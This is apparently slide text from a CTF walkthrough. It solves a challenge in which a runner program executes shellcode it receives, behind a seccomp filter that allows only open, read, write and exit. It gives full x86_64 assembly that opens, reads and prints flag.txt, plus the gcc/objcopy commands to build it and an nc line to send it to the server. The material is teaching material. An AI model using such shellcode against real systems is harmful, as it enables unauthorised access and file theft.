Setup

Provided at beginning of CTF

- Source Code
- Binary

A note on "shell"/"pwn"-style CTFs:

A note on "shell"/"pwn"-style CTFs:

Exploit needed on the server to avoid offline analysis/`strings` shenanigans

It will be running with something like $ `socat TCP-LISTEN:4444,fork,reuseaddr EXEC:./pwnable.elf`

Simplest way to redirect stdin/stdout to a socket - can treat the netcat command the same as running the exe locally*.

Achieve the behavior locally, then provide the same input to the server.

Tools

Tools used in this solve:

- A text editor
- gcc (as an assembler)
- objcopy(1)
- objdump (optional)

Process setup

Unbuffered IO (for socat and especially for segfaults)

- stdout buffered by libc (in userspace) until a newline
- libc will also flush on a call to flush() or graceful exit
- Not on a segfault!
- Worse yet: when stdout is not a tty (eg. a pipe - socat), block buffering
- Solution: setvbuf(3)

```
41   static void process_setup()
42   {
43       setvbuf(stdout, NULL, _IONBF, 0);
```

Allocate a page for shellcode and make it executable

```
50          pagesize = sysconf(_SC_PAGE_SIZE);
51
52          shellcode = memalign(pagesize,    pagesize);
53          if (shellcode == NULL) {
54                  perror("memalign");
55                  exit(1);
56          }
57
58
59          if (mprotect(shellcode, pagesize, PROT_READ|PROT_WRITE|PROT_EXEC)) {
60                  perror("mprotect");
61                  exit(1);
62          }
```

Binary equivalent of exec(readline())

```
34          puts("Ready_to_receive_shellcode...");
35          read(STDIN_FILENO, shellcode, pagesize);
36
37          puts("Executing_shellcode...");
38          ((void (*)(void)) shellcode)();
```

Binary equivalent of exec(readline())

```
34          puts("Ready_to_receive_shellcode...");
35          read(STDIN_FILENO, shellcode, pagesize);
36
37          puts("Executing_shellcode...");
38          ((void (*)(void)) shellcode)();
```

Getting the syntax right on the first try feels *really* good.

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

Just grab an execve(''/bin/sh'') payload from ShellStorm!

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

Just grab an execve(''/bin/sh'') payload from ShellStorm!

It won't work.

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

Just grab an execve(''/bin/sh'') payload from ShellStorm!

It won't work. Seccomp will ruin your day.

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

seccomp(2)

```
66      struct sock_filter filter[] = {
67          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, arch))),
68          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, FILTER_ARCH, 1, 0),
69          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (EPERM & SECCOMP_RET_DATA)),
70          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
71          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_read, 0, 1),
72          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
73          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
74          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_write, 0, 1),
75          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
76          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
77          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_writev, 0, 1),
78          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
79          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
80          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_open, 0, 1),
81          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
82          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
83          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_openat, 0, 1),
84          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
85          BPF_STMT(BPF_LD + BPF_W + BPF_ABS, (offsetof(struct seccomp_data, nr))),
86          BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_exit, 0, 1),
87          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW),
88          BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ERRNO | (EPERM & SECCOMP_RET_DATA)),
89      };
```

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

Allowed syscalls

open(2), read(2), write(2) are available, and the flag file is
known:

```
104            int fd = open("flag.txt", O_RDONLY);
```

Open the flag, read it into a buffer, then write the buffer to stdout
(fd 1)

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

x86_64 calling convention

```
syscall(%rdi, %rsi, %rdx, %r10)
```

syscall number in %rax

- open: 2
- read: 0
- write: 1
- exit: 60

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

rax = open(flag, 0, 0)

```
1    . section  . text
2       lea      flag(%rip), %rax
3       mov      %rax, %rdi
4       mov      $0, %rsi
5       mov      $0, %rdx
6       mov      $2, %rax
7       syscall
```

flag is a label - instruction-pointer relative (PIC)

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

read(rax, rsp, 128)

```
9      mov      %rax, %rdi
10     mov      %rsp, %rsi
11     mov      $128, %rdx
12     mov      $0, %rax
13     syscall
```

Just use the SP as a buffer (it's free real estate)

Intro
Source Code Breakdown
Payload
Exploit!

Open the flag
Read into buffer
Write to stdout

write(1, rsp, 128)

```
15        mov        $1, %rdi
16        mov        %rax, %rdx
17        mov        $1, %rax
18        syscall
19
20        mov        $60, %rax
21        syscall
22
23  flag:
24        .string "flag.txt"
```

Bonus: exit() at the end, then tack on the string literal.

Assemble the payload

Use as or gcc. GCC can detect assembly input (.s extension) and
will treat it appropriately.

Assemble the payload

Use as or gcc. GCC can detect assembly input (.s extension) and will treat it appropriately.

```
gcc -c payload.s
```

```
as -o payload.o payload.s
```

Obtain a payload.o ELF object.

Who needs a linker?

The code is already position-independent and relies on no external symbols.

`objdump -r payload-x86_64.o` outputs no relocation entries

No need to get a linker script involved

`objcopy -O binary -j .text payload.o payload.bin`

Extracts the raw contents of the .text section as binay data

PWN!

```
./runner.elf < payload-x86_64.bin
```

Or for realsies

```
nc ip < payload-x86_64.bin
```

Sources

https://github.com/drahosj/shellcode-ctf

Includes source/binary for runner, a Makefile (may need tweaking to recompile runner), and two payloads (non-working exec-based, and working).

Run make to build the payloads, and the examples should work.